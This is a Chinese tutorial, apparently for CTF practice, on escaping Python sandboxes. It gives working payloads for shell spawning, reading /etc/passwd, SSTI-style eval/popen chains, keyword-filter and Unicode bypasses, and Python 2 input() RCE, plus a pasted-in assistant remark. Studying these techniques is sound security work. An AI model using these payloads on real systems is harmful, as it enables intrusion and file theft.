概念
Python 沙箱是一个受限制的执行环境,允许您运行不受信任的 Python 代码,同时限制其访问系统资源和执行危险操作。Python 沙箱通常用于以下情况:
在网络应用程序中运行用户提交的代码,以防止恶意代码执行。
在测试和调试期间,隔离和检查不受信任的代码,以确保其不会破坏系统。
在某些自动化任务中,限制脚本的行为,以防止不必要的风险。
python沙箱逃逸简称pyjail,就是用来逃脱python固定环境,执行系统命令的方法
使用场景
- 使用 exec 或 eval
Python 提供了内置的 exec 和 eval 函数,允许动态执行代码。可以在运行时将代码传递给这些函数,并在受控环境中执行它们。然而,要注意,exec 和 eval 本身不提供沙箱保护措施,因此需要谨慎使用。
code = "print('Hello, World!')"
exec(code)- 使用模块级别的沙箱
一种常见的做法是使用模块级别的沙箱,例如 restrictedpython 和 PyExecJS。这些工具可以在独立的执行环境中运行 Python 代码,并限制其访问系统资源。它们通常提供一组允许和禁止的操作,以控制代码的行为。
from restrictedpython import compile_restricted, safe_builtins
code = """
result = 1 + 1
print(result)
"""
restricted_globals = {"__builtins__": safe_builtins}
bytecode = compile_restricted(code, "<string>", "exec")
exec(bytecode, restricted_globals)python特性、魔术方法及魔术属性
特性
类的继承
所有类均继承自object基类,python中一切都是对象的特性
- 不带有object的继承
class Person:
"""
不带object
"""
name="wh1te"- 带有object的继承
class Animal(object):
"""
带有object
"""
name="wh1te"

注意:这个现象是 Python 2 特有的:
- 在 Python 2 中:必须显式写出
class Name(object):才能拥有这些丰富的魔术方法。 - 在 Python 3 中:万物皆对象。无论你是写
class Person:还是class Person(object):,Python 3 都会默认让你继承object。也就是说,在 Python 3 里,所有类都是新式类,默认都自带那一长串的“利用点”。
也就是说python3自带object属性
魔术方法及属性
__init__:对象初始化方法,在创建对象时调用。__repr__:返回对象的“官方”字符串表示形式。__str__:返回对象的“非正式”或友好字符串表示形式。__len__:返回对象的长度。__getitem__:获取对象中指定键的值。__setitem__:设置对象中指定键的值。__delitem__:删除对象中指定键的值。__iter__:返回一个迭代器对象。__contains__:检查对象是否包含指定的元素。__call__:实例对象作为函数调用时调用。__base__:返回当前类的基类。如str.__base__会返回<class 'object'>__subclasses__():查看当前类的子类组成的列表__builtins__:以一个集合的形式查看其引用__getattr__,__setattr__,__delattr__:处理对象属性的获取、设置和删除。__enter__,__exit__:定义在使用with语句时对象的上下文管理行为。globals:返回所有全局变量的函数;locals:返回所有局部变量的函数;__import__:载入模块的函数。例如import os等价于os = __import__('os')__file__:该变量指示当前运行代码所在路径_:该变量返回上一次运行的 python 语句结果。需要注意的是,该变量仅在运行交互式终端时会产生,在运行代码文件时不会有此变量。chr、ord:字符与ASCII码转换函数。dir:查看对象的所有属性和方法。__doc__:类的帮助文档。默认类均有帮助文档。对于自定义的类,需要我们自己实现。
Pyjail基础解法及payload构造
基础Payload实现方法
在python中导入模块的方法一般有三种:
import xxxfrom xxx import__import__('xxx')
我们可以通过上述的导入方法,导入相关的模块并使用上述的函数实现命令执行。除此以外,我们也可以通过路径引入模块:如在LInux系统中python的os模块一般都是在/usr/lib/pythonx.x/os.py,当知道路径的时候,我们就可以通过如下的操作导入模块,然后进一步使用相关函数。
import sys
sys.modules['os']='/usr/lib/pythonx.x/os.py'
import os
类似的,当我们知道如何导入模块后,就可以利用危险函数去执行后操作
打开文件
print(open('/flag').read())
__import__('os').system('cat flag')
__import__('os').system('sh')
读取文件
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
获取全局变量
获取全局变量与函数利用
在受限环境中,攻击者往往处于“致盲”状态,不知道当前环境中有哪些变量、导入了哪些模块。此时,利用内建函数来窥探全局作用域是打破僵局的第一步。
globals()`
-
原理: 返回一个包含当前全局符号表(Global Symbol Table)的字典。
-
利用场景: 在沙箱或模板环境中直接调用或打印
globals()。 -
实战价值: * 泄露敏感变量: 如果开发者将 Flag、API Key 或数据库密码存在全局变量中,调用
globals()会直接将其全盘托出。- 发现可用模块: 很多沙箱在过滤时只是删除了特定的关键词,但如果环境中恰好之前已经
import os,通过查阅globals()就能发现os模块的引用,从而直接利用。
- 发现可用模块: 很多沙箱在过滤时只是删除了特定的关键词,但如果环境中恰好之前已经
# 假设环境中有个隐藏变量
SECRET_FLAG = "flag{python_is_fun}"
# 攻击者输入
print(globals())
# 输出结果中会包含:{'__name__': '__main__', ..., 'SECRET_FLAG': 'flag{python_is_fun}'}
vars()
-
原理: 返回对象的
__dict__属性。如果不带任何参数调用vars(),它的行为与locals()相同,即返回当前本地符号表的字典。 -
利用场景: 类似于
globals(),常用于信息收集。当globals()被沙箱禁用时,vars()可以作为一个极佳的替代品来获取当前作用域的变量信息。
help() 函数
help() 是 Python 提供的交互式帮助系统,但在安全领域,它是一个极度危险的后门,主要有两个维度的利用方式:
信息泄露:探查 __main__
正如你截图中提到的 进入help, 查 __main__。
-
原理:
__main__指代的是当前正在执行的脚本自身。当你调用help('__main__')或进入 help 交互模式后输入__main__,Python 会尝试解析当前脚本的结构,并打印出所有的类、函数声明以及变量名和注释(Docstrings)。 -
利用场景: 纯黑盒测试时,攻击者不知道当前代码逻辑,通过查阅
__main__可以快速理清代码结构,甚至查看到写在注释里的敏感信息或原本不可见的自定义函数。
系统命令执行:利用分页器 (Pager) 逃逸
这是 help() 在终端沙箱(Terminal Pyjail)中最致命的漏洞。
-
原理: 当
help()输出的内容过长(超过一屏)时,Python 底层会调用系统的分页器(如 Linux 下的more或less)来展示内容。 -
利用步骤:
-
触发长内容的 help,例如:
help(builtins)或help(str)。 -
此时终端会进入
less的阅读模式(屏幕底部显示:提示符)。 -
逃逸点: 在
less分页器中,原生地支持执行系统命令!攻击者只需输入!sh或!/bin/sh然后回车。 -
瞬间跳出 Python 沙箱,直接获得操作系统的 Shell 权限。
-
# 攻击者在沙箱中输入
>>> help(str)
# 屏幕进入 less 分页器
Help on class str in module builtins:
class str(object)
...
:
# 攻击者在这里输入 !sh
:!sh
$ whoami
root
waf绕过
基于长度限制
help
1、输入:help(),这里字符串长度只有6,会进入正常调用eval 函数; 2、进入help交互式,然后输入任意一个模块名获得该模块的帮助文档,如sys; 3、在Linux中,这里呈现帮助文档时,实际上是调用了系统里的less或more命令,可以利用这俩个命令执行本地命令的特性来获取一个shell,继续按#!,再执行外部命令sh即可。
多次交互进行拼接
"_"函数字符拼接
'00'
__+'aaa'
__+bbb' eval(_)`
breakpoint()
breakpoint() 函数可以在程序的任何位置调用。当程序执行到这个位置时,它将暂停,并打开一个交互式调试器
基于字符串匹配的过滤的绕过
利用函数返回值与布尔特性构造 0 和 1
在 Python 中,布尔值 True 和 False 本质上就是整数 1 和 0(bool 是 int 的子类)。同时,Python 规定空的数据结构(空列表、空元组、空字符串)在进行布尔判断时都为 False。
- 构造
0的原理解析:len([]):空列表的长度自然是 0,这是最常用、最短的构造方式。bool([])/False:空列表转为布尔值是 False,参与数学运算时等价于 0。any(()):any()函数用于判断可迭代对象中是否有一个元素为真。空元组里什么都没有,自然返回False(0)。
- 构造
1的原理解析:True:直接等价于 1。bool([""]):列表中虽然是一个空字符串,但列表本身不为空(长度为 1),所以转为布尔值是True(1)。all(()):all()判断可迭代对象中是否所有元素都为真。对于空元组,这是一个“空真(vacuous truth)”的逻辑现象,Python 会返回True(1)。
实战案例: 如果我们需要数字 5,可以通过多个 True 相加来构造:
# 构造数字 5
payload_5 = True + True + True + True + True
# 或者利用 len
payload_5 = len([[],[],[],[],[]])
# 此时想获取某个元组的第 5 个元素:
().__class__.__mro__[True + True + True + True + True]
利用字符串取整(利用 len() 和 repr())
当你需要一个较大的数字(比如 40、59 这种用于 __subclasses__() 索引的数字)时,如果用 True 一直加下去,payload 会极其冗长。此时可以利用内置对象的字符串表示形式(repr 或 str),再通过 len() 计算其字符长度来快速获得较大数值。
- 原理解析:
repr(True)会返回字符串'True',包含 4 个字符,所以len(repr(True))结果为4。repr(bytearray)会返回字符串"<class 'bytearray'>",包含 19 个字符,所以len(repr(bytearray))结果为19。
实战案例: 利用内置对象名称的长度,结合加减乘除快速逼近目标数字。
# 假设我们需要数字 40
# 已知 len(repr(bytearray)) 是 19
# len(repr(True)) 是 4
# len(repr(dict)) 也就是 "<class 'dict'>" 的长度是 14
# 19 * 2 + 2 = 40
payload_40 = len(repr(bytearray)) * len('aa') + len('aa')
# 其中 'aa' 可以用字典建构技巧生成(见下一节)
神奇的 len + dict + list 组合
这是一种非常精妙的构造任意小数字的方法,主要利用了 dict(key=value) 这种关键字参数创建字典的语法。它最大的优势是代码中不需要出现任何引号包裹的字符串字面量,完美绕过引号过滤。
- 以
len(list(dict(aa=()))[len([])])构造2为例,我们一步步拆解:
# 第一步:创建一个值为 空元组 的字典。由于使用了关键字参数 aa,字典的键会被自动转换为字符串 'aa'
step_1 = dict(aa=())
# step_1 的结果是 {'aa': ()}
# 第二步:将字典转换为列表。在 Python 中,直接对字典使用 list() 会提取它的所有键。
step_2 = list(step_1)
# step_2 的结果是 ['aa']
# 第三步:获取这个列表的第 0 个元素。因为不能用数字 0,所以用 len([]) 代替。
step_3 = step_2[len([])]
# step_3 的结果就是字符串 'aa'
# 第四步:计算这个字符串的长度
step_4 = len(step_3)
# 最终结果是 2
实战案例: 举一反三,你想构造几,就写几个字母:
# 构造数字 1 (键名写 1 个字母)
len(list(dict(a=()))[len([])])
# 构造数字 4 (键名写 4 个字母)
len(list(dict(abcd=()))[len([])])
# 将其用于拼接获取列表索引:
# 比如要获取 list[4],且不能用数字和引号:
my_list[len(list(dict(abcd=()))[len([])])]
基于字符串匹配的过滤的绕过
当防御者(如 WAF 或沙箱机制)过滤了特定的关键字(例如 os, system, __class__, __builtins__ 等)时,我们可以利用 Python 灵活的属性获取机制,结合字符串拼接、反转、编码等操作来重组被过滤的关键字,从而绕过黑名单。
getattr 函数
-
如何使用:
getattr(object, name)用于返回对象的属性值。由于属性名name是以字符串形式传入的,我们可以对这个字符串进行任意变形(拼接、切片、格式化等),只要最终计算结果是正确的属性名即可。 -
示例:假设
__class__和os被过滤。
# 正常写法:().__class__
# 绕过写法(拼接):
getattr((), '__cla' + 'ss__')
# 绕过写法(反转):
getattr((), '__ssalc__'[::-1])
# 结合导入执行命令(假设 os 被过滤):
getattr(__import__('o'+'s'), 'sys'+'tem')('whoami')
__getattribute__ 函数
-
如何使用:这是 Python 新式类底层的魔术方法,功能与
getattr类似,用于获取对象属性。它同样接受字符串作为参数,因此支持字符串变异绕过。相比内置函数getattr,__getattribute__是对象的方法,调用方式更直接。 -
示例:假设
__bases__被过滤。
# 正常写法:().__class__.__bases__
# 绕过写法:
().__class__.__getattribute__('__ba' + 'ses__')
__getattr__ 函数
-
如何使用:
__getattr__是在正常属性查找(包括__getattribute__)失败时才会被调用的魔术方法。在特定场景(例如构造利用链时,遇到重写了该方法的自定义类),我们可以利用它来触发特定的逻辑或返回意想不到的对象。它同样依赖字符串传入。 -
区别提示:通常绕过关键字首选是
getattr或__getattribute__,__getattr__更多作为漏洞利用链中的一环(Gadget)来被动触发。
__globals__ 替换
-
如何使用:在寻找利用链时,我们通常需要通过函数的
__globals__属性(或 Python 2 中的func_globals)来获取全局变量字典,进而拿到__builtins__以调用eval或__import__。如果__globals__被过滤,除了使用上述的字符串拼接,还可以寻找替代路径或利用其他模块的引用。 -
示例:
# 正常获取 eval:
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('1+1')
# 绕过(拼接方式):
getattr(().__class__.__bases__[0].__subclasses__()[59].__init__, '__glo'+'bals__')['__builtins__']['eval']('1+1')
# 替换方案(寻找内置了 __builtins__ 的其他对象,如 sys.modules):
# 很多时候不需要死磕 __globals__,可以横向寻找其他导入了 os 等危险模块的类。
__mro__、__bases__、__base__ 互换
-
如何使用:在 SSTI 或反序列化中,我们需要从当前类向上溯源到顶层基类
object。这三个属性的作用相似,但返回格式略有不同。如果其中某一个被 WAF 过滤,直接替换成另外两个即可。 -
示例及区别:
__base__:返回直接父类(通常是一个类对象)。
# 寻找 object
().__class__.__base__
- `__bases__`:返回所有直接父类组成的**元组**。
# 寻找 object
().__class__.__bases__[0]
- `__mro__`:返回方法解析顺序,即从当前类一直到 `object` 的所有类组成的**元组**。
# 寻找 object,通常在索引 -1 或特定的位置
().__class__.__mro__[1] # 对于 tuple 类来说,索引 1 就是 object
基于多行限制的绕过
当漏洞点(如存在缺陷的 eval() 调用或特定模板引擎)强制要求只能输入单行表达式(Expression) 时,正常的 import os; os.system('id') 这种多行语句(Statement)会引发语法错误。以下技巧旨在将“多行代码”压缩成“单一的表达式”进行执行。
exec
-
如何使用:
eval()只能执行表达式(不能有赋值操作=,不能有import语句等),但exec()可以执行复杂的代码块。我们可以利用eval去执行exec,并将我们想要执行的多行代码以带有换行符(\n)的纯字符串形式传递给exec。 -
示例:
# 外层 eval 是漏洞触发点,内层 exec 负责执行多行逻辑
eval("exec('__import__(\"os\")\\nprint(1)')")
# 更具实战意义的例子(写入一句话木马等):
eval("exec('import os\\nos.system(\"whoami\")')")
compile
-
如何使用:
compile(source, filename, mode)函数可以将包含换行和复杂逻辑的字符串编译成 Python 字节码对象(Code Object)。当mode='exec'时,它可以编译多行语句。编译完成后,外层再配合eval()或exec()来运行这段字节码。 -
示例:
# 将多行 print 语句编译为可执行代码,并由最外层的 eval 执行
eval("eval(compile('print(\"hello world\"); print(\"heyy\")', '<stdin>', 'exec'))")
# 执行系统命令:
eval("eval(compile('import os\\nos.system(\"ls\")', '<string>', 'exec'))")
海象表达式(Walrus Operator :=)
-
如何使用:这是 Python 3.8+ 引入的神器。它允许你在表达式内部进行变量赋值。以前在单行
eval()中,你无法先导入模块存为变量然后再调用它(因为赋值语句不是表达式)。有了海象运算符,我们可以使用列表或字典的推导式/字面量,在一条表达式中完成“导入 → 赋值 → 调用”的流水线操作。 -
示例:
# 漏洞点为 eval(),将 os 模块赋值给 a,然后直接调用 a.system,并将结果赋值给 b。
# 整个过程被包裹在一个列表表达式 [] 中,合法且不会换行。
eval('[a := __import__("os"), b := a.system("id")]')
# 读文件的例子:
eval('[f := open("/etc/passwd"), res := f.read(), f.close(), res][1]')
# 注意最后加个 [1] 是为了从列表中直接提取出 res(文件内容)进行回显。
基于模块删除的绕过
这是一份为您补充完善并使用标准代码块进行排版的笔记。为了更具实战指导意义,我在原内容的基础上补充了一些原理说明,并指出了 payload 中的索引号(如 [40], [79])在实际环境中是动态变化的。
基于模块删除的绕过
在很多沙箱或受限环境中,防御者会删除危险模块(如 os, sys 等)。此时,我们可以通过 Python 的面向对象继承机制,从基础内置对象出发,向上寻找基类 object,再向下遍历所有子类,从而重新找回被删除的危险模块或类。
基于继承链获取
在 Python 中,所有类的最终基类都是 object。通过魔术方法,我们可以完成“对象 → 类 → 基类 → 所有子类”的链式调用。
-
查看变量所属的类:
().__class__ # 或者 "".__class__, [].__class__ -
根据变量的类得到其所属的基类元组:
().__class__.__bases__ -
反查
object类的子类组成的列表:().__class__.__bases__[0].__subclasses__() # 或者使用 __base__ 直接获取第一个基类 ().__class__.__base__.__subclasses__() -
获取当前 Python 环境中所有对象的子类列表中的特定类:
# 假设第 40 个子类是我们需要的危险类(注:索引号 40 在不同环境中会变化) [].__class__.__base__.__subclasses__()[40]
文件读取与命令执行绕过
利用上述继承链找到特定的子类后,可以进行文件读取或命令执行。
1. Python 2 环境读取文件
在 Python 2 中,file 类是内置的,可以直接用来读取文件。假设 file 类在子类列表中的索引为 40:
[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()
2. Python 3 环境读取文件
Python 3 移除了底层的 file 类,但我们可以寻找其他具有文件读取能力的类,例如 <class '_frozen_importlib_external.FileLoader'>。假设其索引为 79:
{{ ().__class__.__bases__[0].__subclasses__()[79]["get_data"](0, "/etc/passwd") }}
补充修正: 图片原文中提供的第二个 payload 实际上是利用了 subprocess.Popen 类来进行命令执行,而非读取文件。假设 subprocess.Popen 的索引为 79:
{{ ().__class__.__bases__[0].__subclasses__()[79]("cat /flag", shell=True, stdout=-1).communicate()[0] }}
利用内建函数 eval 执行命令
如果找不到直接执行命令的类,可以寻找那些全局变量(__globals__)中引入了 __builtins__ 的类,从中提取 eval 函数,再利用 eval 动态导入 os 模块执行命令。假设具有此特性的类索引为 166:
{{ ''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()') }}
常见全局命名空间中含有 eval 函数(或可利用模块)的类:
-
warnings.catch_warnings -
WarningMessage -
codecs.IncrementalEncoder -
codecs.IncrementalDecoder -
codecs.StreamReaderWriter -
os._wrap_close(极度常用,其 globals 中通常包含整个 os 模块) -
reprlib.Repr -
weakref.finalize
三、 Unicode 绕过 (WAF 规避)
当遇到 WAF (Web 应用防火墙) 过滤了特定的英文字符或关键字(如 os, eval, class)时,可以利用 Python 3 的特性进行绕过。
-
原理: Python 3 开始支持非 ASCII 字符作为标识符(变量名、函数名等)。在解析代码时,Python 会使用 Unicode Normalization Form KC (NFKC) 规范化算法。该算法会将一些在视觉上相似或存在等价关系的 Unicode 字符统一转换为标准的 ASCII 形式。
-
利用方式: 使用数学字母数字符号(Mathematical Alphanumeric Symbols)等特殊 Unicode 字符来替换被过滤的字母。
测试字符集集锦(NFKC 规范化后等价于对应的标准字符):
# 特殊的数字:
𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗
# 特殊的小写字母:
𝐚𝐛𝐜𝐝𝐞𝐟𝐠𝐡𝐢𝐣𝐤𝐥𝐦𝐧𝐨𝐩𝐪𝐫𝐬𝐭𝐮𝐯𝐰𝐱𝐲𝐳
𝒂𝒃𝒄𝒅𝒆𝒇𝒈𝒉𝒊𝒋𝒌𝒍𝒎𝒏𝒐𝒑𝒒𝒓𝒔𝒕𝒖𝒗𝒘𝒙𝒚𝒛
# 特殊的大写字母:
𝐀𝐁𝐂𝐃𝐄𝐅𝐆𝐇𝐈𝐉𝐊𝐋𝐌𝐍𝐎𝐏𝐐𝐑𝐒𝐓𝐔𝐕𝐖𝐗𝐘𝐙
例如,如果 __class__ 被过滤,可以尝试传入 __𝐜𝐥𝐚𝐬𝐬__,Python 解释器在运行时会将其规范化还原。
基于 input() 的命令执行漏洞 (Python 2 特性)
在早期的 Python 版本中,为了方便开发者获取各种数据类型(如直接输入数字、列表等),input() 函数被设计为带有自动执行(求值)的功能。这个设计在带来便利的同时,也引发了极其严重的安全隐患。
核心差异对比
要理解这个漏洞,首先需要理清 Python 2 和 Python 3 在接收标准输入时的根本区别:
-
Python 2 的
raw_input(): 从标准输入接收内容,并始终将其作为纯字符串 (String) 返回。这是安全的做法。 -
Python 2 的
input(): 相当于自动对用户的输入执行了一次eval()。它会把用户的输入当作 Python 表达式去运行,并返回执行后的结果。 -
Python 3 的
input(): Python 3 修复了这个问题,移除了旧版的input(),并将旧版的raw_input()重命名为input()。因此,Python 3 的input()只会返回纯字符串。
核心等式:
Python 2 input()==Python 2 eval(raw_input())==Python 3 eval(input())
漏洞演示示例
假设有一个基于 Python 2 运行的简单交互程序:
存在漏洞的 Python 2 源码 (app.py)
# 运行环境: Python 2.x
print "Welcome to the calculator!"
# 开发者本意是让用户输入一个数学表达式,比如 2+2
result = input("Please enter a math expression: ")
print "The result is: ", result
2. 正常用户的输入
Please enter a math expression: 10 * 5
The result is: 50
由于 input() 自动计算了 10 * 5,开发者觉得这个功能很方便。
3. 攻击者的恶意输入 (RCE 攻击)
攻击者不再输入数学公式,而是输入一段可以执行系统命令的 Python 代码:
Please enter a math expression: __import__('os').system('whoami')
执行结果:
root <-- 系统命令 whoami 的执行结果直接输出到了终端
The result is: 0
原理解析: 由于 Python 2 的 input() 等同于 eval(),它直接将字符串 __import__('os').system('whoami') 丢给 Python 解释器去当成代码执行了。这导致攻击者在无需任何沙箱逃逸技巧的情况下,直接拿到了服务器的 Shell 权限(Remote Code Execution, RCE)。